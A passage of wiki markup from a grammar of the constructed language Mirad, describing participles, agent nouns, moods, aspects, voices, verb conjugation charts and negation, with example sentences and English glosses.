::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
